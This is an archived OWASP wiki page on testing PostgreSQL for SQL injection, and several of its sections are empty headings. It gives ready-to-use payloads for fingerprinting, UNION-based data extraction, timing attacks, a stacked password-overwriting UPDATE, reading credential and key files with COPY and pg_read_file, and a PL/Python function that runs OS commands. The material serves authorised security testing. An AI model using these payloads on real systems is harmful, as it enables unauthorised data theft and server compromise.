This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

OWASP Backend Security Project Testing PostgreSQL

From OWASP
Revision as of 22:20, 15 May 2008 by Dbellucci (talk | contribs) (Reading from a file)

Jump to: navigation, search

Overview

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

Description

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:

  • String concatenation by using the operator: ||
  • Casting by using the operator: ::

Examples:

 http://www.example.com/store.php?id=1 AND '11'='1'||'1'
 http://www.example.com/store.php?id=1 AND 1::char=chr(49)

PostgreSQL Peculiarities

  • PHP Connector allow multiple statements to be executed by using ; as a statement seperator
  • SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example:

   http://www.example.com/store.php?id=1--hello world 
   http://www.example.com/store.php?id=1;--hello world 

Function version() can be used to accomplish this task.

select version():

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)


Example:

 http://www.example.com/store.php?id=1
       Acme Biscuits


 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

  • String Length
    LENGTH(str)
  • Extract a substring from a given string
    SUBSTR(str,index,offset)
  • String representation with no single quotes
    CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks

pg_sleep() is all you need

Single Quote (un)Escape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character


Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116


We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()


Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Enumerating Databases

Enumerating Tables

Enumerating functions

Attack Vectors

Reading from a file

ProstgreSQL provides two way to access local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

pg_read_file():

Examples:

  • COPY filetable(textcolumn) FROM '/home/postgres/.psql_history'
  • SELECT pg_read_file('server.key',0,1000);

Writing to a file

Shell Injection

plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG

  • Check if PL/Python has been enabled on some databsae:
    SELECT count(*) FROM pg_language WHERE lanname='plpython'
  • If not assuming that sysadm has allready installed plpython package try to enable:
    CREATE LANGUAGE plpythonu
  • If all of the above succeded create a proxy shell function:
    CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu
  • Have fun with:
    SELECT proxyshell(os command);

Example:

  • Create a proxy shell function:
    /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return os.popen(args[0]).read()’ LANGUAGE plpythonu;--
  • Run a OS Command:
    /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Smashing dblink()

References

Tools